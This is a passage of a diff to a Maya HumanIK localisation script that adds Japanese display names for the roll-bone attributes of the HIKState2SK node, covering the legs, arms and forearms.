+setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3T", "右脚ロール 3 T 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3Tx", "右脚ロール 3 Tx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3Ty", "右脚ロール 3 Ty 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3Tz", "右脚ロール 3 Tz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3R", "右脚ロール 3 R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3Rx", "右脚ロール 3 Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3Ry", "右脚ロール 3 Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3Rz", "右脚ロール 3 Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3S", "右脚ロール 3 S 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3Sx", "右脚ロール 3 Sx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3Sy", "右脚ロール 3 Sy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3Sz", "右脚ロール 3 Sz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3PGX", "右脚ロール 3 PGX 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3ROrder", "右脚ロール 3 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3SC", "右脚ロール 3 SC 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3IS", "右脚ロール 3 IS 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3ISx", "右脚ロール 3 ISx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3ISy", "右脚ロール 3 ISy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3ISz", "右脚ロール 3 ISz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3PreR", "右脚ロール 3 のプリ R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3PreRx", "右脚ロール 3 のプリ Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3PreRy", "右脚ロール 3 のプリ Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3PreRz", "右脚ロール 3 のプリ Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3PostR", "右脚ロール 3 のポスト R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3PostRx", "右脚ロール 3 のポスト Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3PostRy", "右脚ロール 3 のポスト Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll3PostRz", "右脚ロール 3 のポスト Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3T", "左腕ロール 3 T 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3Tx", "左腕ロール 3 Tx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3Ty", "左腕ロール 3 Ty 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3Tz", "左腕ロール 3 Tz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3R", "左腕ロール 3 R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3Rx", "左腕ロール 3 Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3Ry", "左腕ロール 3 Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3Rz", "左腕ロール 3 Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3S", "左腕ロール 3 S 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3Sx", "左腕ロール 3 Sx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3Sy", "左腕ロール 3 Sy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3Sz", "左腕ロール 3 Sz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3PGX", "左腕ロール 3 PGX 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3ROrder", "左腕ロール 3 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3SC", "左腕ロール 3 SC 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3IS", "左腕ロール 3 IS 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3ISx", "左腕ロール 3 ISx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3ISy", "左腕ロール 3 ISy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3ISz", "左腕ロール 3 ISz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3PreR", "左腕ロール 3 のプリ R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3PreRx", "左腕ロール 3 のプリ Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3PreRy", "左腕ロール 3 のプリ Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3PreRz", "左腕ロール 3 のプリ Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3PostR", "左腕ロール 3 のポスト R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3PostRx", "左腕ロール 3 のポスト Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3PostRy", "左腕ロール 3 のポスト Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll3PostRz", "左腕ロール 3 のポスト Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3T", "左前腕ロール 3 T 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3Tx", "左前腕ロール 3 Tx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3Ty", "左前腕ロール 3 Ty 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3Tz", "左前腕ロール 3 Tz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3R", "左前腕ロール 3 R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3Rx", "左前腕ロール 3 Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3Ry", "左前腕ロール 3 Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3Rz", "左前腕ロール 3 Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3S", "左前腕ロール 3 S 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3Sx", "左前腕ロール 3 Sx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3Sy", "左前腕ロール 3 Sy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3Sz", "左前腕ロール 3 Sz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3PGX", "左前腕ロール 3 PGX 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3ROrder", "左前腕ロール 3 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3SC", "左前腕ロール 3 SC 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3IS", "左前腕ロール 3 IS 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3ISx", "左前腕ロール 3 ISx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3ISy", "左前腕ロール 3 ISy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3ISz", "左前腕ロール 3 ISz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3PreR", "左前腕ロール 3 のプリ R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3PreRx", "左前腕ロール 3 のプリ Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3PreRy", "左前腕ロール 3 のプリ Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3PreRz", "左前腕ロール 3 のプリ Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3PostR", "左前腕ロール 3 のポスト R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3PostRx", "左前腕ロール 3 のポスト Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3PostRy", "左前腕ロール 3 のポスト Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftForeArmRoll3PostRz", "左前腕ロール 3 のポスト Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3T", "右腕ロール 3 T 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3Tx", "右腕ロール 3 Tx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3Ty", "右腕ロール 3 Ty 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3Tz", "右腕ロール 3 Tz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3R", "右腕ロール 3 R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3Rx", "右腕ロール 3 Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3Ry", "右腕ロール 3 Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3Rz", "右腕ロール 3 Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3S", "右腕ロール 3 S 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3Sx", "右腕ロール 3 Sx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3Sy", "右腕ロール 3 Sy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3Sz", "右腕ロール 3 Sz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3PGX", "右腕ロール 3 PGX 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3ROrder", "右腕ロール 3 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3SC", "右腕ロール 3 SC 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3IS", "右腕ロール 3 IS 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3ISx", "右腕ロール 3 ISx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3ISy", "右腕ロール 3 ISy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3ISz", "右腕ロール 3 ISz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3PreR", "右腕ロール 3 のプリ R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3PreRx", "右腕ロール 3 のプリ Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3PreRy", "右腕ロール 3 のプリ Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3PreRz", "右腕ロール 3 のプリ Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3PostR", "右腕ロール 3 のポスト R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3PostRx", "右腕ロール 3 のポスト Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3PostRy", "右腕ロール 3 のポスト Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightArmRoll3PostRz", "右腕ロール 3 のポスト Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3T", "右前腕ロール 3 T 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3Tx", "右前腕ロール 3 Tx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3Ty", "右前腕ロール 3 Ty 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3Tz", "右前腕ロール 3 Tz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3R", "右前腕ロール 3 R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3Rx", "右前腕ロール 3 Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3Ry", "右前腕ロール 3 Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3Rz", "右前腕ロール 3 Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3S", "右前腕ロール 3 S 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3Sx", "右前腕ロール 3 Sx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3Sy", "右前腕ロール 3 Sy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3Sz", "右前腕ロール 3 Sz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3PGX", "右前腕ロール 3 PGX 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3ROrder", "右前腕ロール 3 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3SC", "右前腕ロール 3 SC 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3IS", "右前腕ロール 3 IS 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3ISx", "右前腕ロール 3 ISx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3ISy", "右前腕ロール 3 ISy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3ISz", "右前腕ロール 3 ISz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3PreR", "右前腕ロール 3 のプリ R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3PreRx", "右前腕ロール 3 のプリ Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3PreRy", "右前腕ロール 3 のプリ Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3PreRz", "右前腕ロール 3 のプリ Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3PostR", "右前腕ロール 3 のポスト R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3PostRx", "右前腕ロール 3 のポスト Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3PostRy", "右前腕ロール 3 のポスト Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightForeArmRoll3PostRz", "右前腕ロール 3 のポスト Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4T", "左大腿部ロール 4 T 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4Tx", "左大腿部ロール 4 Tx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4Ty", "左大腿部ロール 4 Ty 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4Tz", "左大腿部ロール 4 Tz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4R", "左大腿部ロール 4 R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4Rx", "左大腿部ロール 4 Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4Ry", "左大腿部ロール 4 Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4Rz", "左大腿部ロール 4 Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4S", "左大腿部ロール 4 S 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4Sx", "左大腿部ロール 4 Sx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4Sy", "左大腿部ロール 4 Sy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4Sz", "左大腿部ロール 4 Sz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4PGX", "左大腿部ロール 4 PGX 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4ROrder", "左大腿部ロール 4 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4SC", "左大腿部ロール 4 SC 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4IS", "左大腿部ロール 4 IS 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4ISx", "左大腿部ロール 4 ISx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4ISy", "左大腿部ロール 4 ISy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4ISz", "左大腿部ロール 4 ISz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4PreR", "左大腿部ロール 4 のプリ R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4PreRx", "左大腿部ロール 4 のプリ Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4PreRy", "左大腿部ロール 4 のプリ Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4PreRz", "左大腿部ロール 4 のプリ Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4PostR", "左大腿部ロール 4 のポスト R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4PostRx", "左大腿部ロール 4 のポスト Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4PostRy", "左大腿部ロール 4 のポスト Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftUpLegRoll4PostRz", "左大腿部ロール 4 のポスト Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4T", "左脚ロール 4 T 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4Tx", "左脚ロール 4 Tx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4Ty", "左脚ロール 4 Ty 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4Tz", "左脚ロール 4 Tz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4R", "左脚ロール 4 R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4Rx", "左脚ロール 4 Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4Ry", "左脚ロール 4 Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4Rz", "左脚ロール 4 Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4S", "左脚ロール 4 S 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4Sx", "左脚ロール 4 Sx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4Sy", "左脚ロール 4 Sy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4Sz", "左脚ロール 4 Sz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4PGX", "左脚ロール 4 PGX 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4ROrder", "左脚ロール 4 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4SC", "左脚ロール 4 SC 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4IS", "左脚ロール 4 IS 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4ISx", "左脚ロール 4 ISx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4ISy", "左脚ロール 4 ISy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4ISz", "左脚ロール 4 ISz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4PreR", "左脚ロール 4 のプリ R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4PreRx", "左脚ロール 4 のプリ Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4PreRy", "左脚ロール 4 のプリ Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4PreRz", "左脚ロール 4 のプリ Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4PostR", "左脚ロール 4 のポスト R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4PostRx", "左脚ロール 4 のポスト Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4PostRy", "左脚ロール 4 のポスト Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftLegRoll4PostRz", "左脚ロール 4 のポスト Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4T", "右大腿部ロール 4 T 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4Tx", "右大腿部ロール 4 Tx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4Ty", "右大腿部ロール 4 Ty 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4Tz", "右大腿部ロール 4 Tz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4R", "右大腿部ロール 4 R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4Rx", "右大腿部ロール 4 Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4Ry", "右大腿部ロール 4 Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4Rz", "右大腿部ロール 4 Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4S", "右大腿部ロール 4 S 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4Sx", "右大腿部ロール 4 Sx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4Sy", "右大腿部ロール 4 Sy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4Sz", "右大腿部ロール 4 Sz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4PGX", "右大腿部ロール 4 PGX 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4ROrder", "右大腿部ロール 4 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4SC", "右大腿部ロール 4 SC 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4IS", "右大腿部ロール 4 IS 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4ISx", "右大腿部ロール 4 ISx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4ISy", "右大腿部ロール 4 ISy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4ISz", "右大腿部ロール 4 ISz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4PreR", "右大腿部ロール 4 のプリ R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4PreRx", "右大腿部ロール 4 のプリ Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4PreRy", "右大腿部ロール 4 のプリ Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4PreRz", "右大腿部ロール 4 のプリ Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4PostR", "右大腿部ロール 4 のポスト R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4PostRx", "右大腿部ロール 4 のポスト Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4PostRy", "右大腿部ロール 4 のポスト Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightUpLegRoll4PostRz", "右大腿部ロール 4 のポスト Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4T", "右脚ロール 4 T 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4Tx", "右脚ロール 4 Tx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4Ty", "右脚ロール 4 Ty 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4Tz", "右脚ロール 4 Tz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4R", "右脚ロール 4 R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4Rx", "右脚ロール 4 Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4Ry", "右脚ロール 4 Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4Rz", "右脚ロール 4 Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4S", "右脚ロール 4 S 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4Sx", "右脚ロール 4 Sx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4Sy", "右脚ロール 4 Sy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4Sz", "右脚ロール 4 Sz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4PGX", "右脚ロール 4 PGX 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4ROrder", "右脚ロール 4 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4SC", "右脚ロール 4 SC 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4IS", "右脚ロール 4 IS 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4ISx", "右脚ロール 4 ISx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4ISy", "右脚ロール 4 ISy 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4ISz", "右脚ロール 4 ISz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4PreR", "右脚ロール 4 のプリ R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4PreRx", "右脚ロール 4 のプリ Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4PreRy", "右脚ロール 4 のプリ Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4PreRz", "右脚ロール 4 のプリ Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4PostR", "右脚ロール 4 のポスト R 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4PostRx", "右脚ロール 4 のポスト Rx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4PostRy", "右脚ロール 4 のポスト Ry 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafRightLegRoll4PostRz", "右脚ロール 4 のポスト Rz 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4T", "左腕ロール 4 T 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4Tx", "左腕ロール 4 Tx 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4Ty", "左腕ロール 4 Ty 可動部" ); +setAttrNiceNameResource( "HIKState2SK", "LeafLeftArmRoll4Tz", "左腕ロール 4 Tz 可動部" 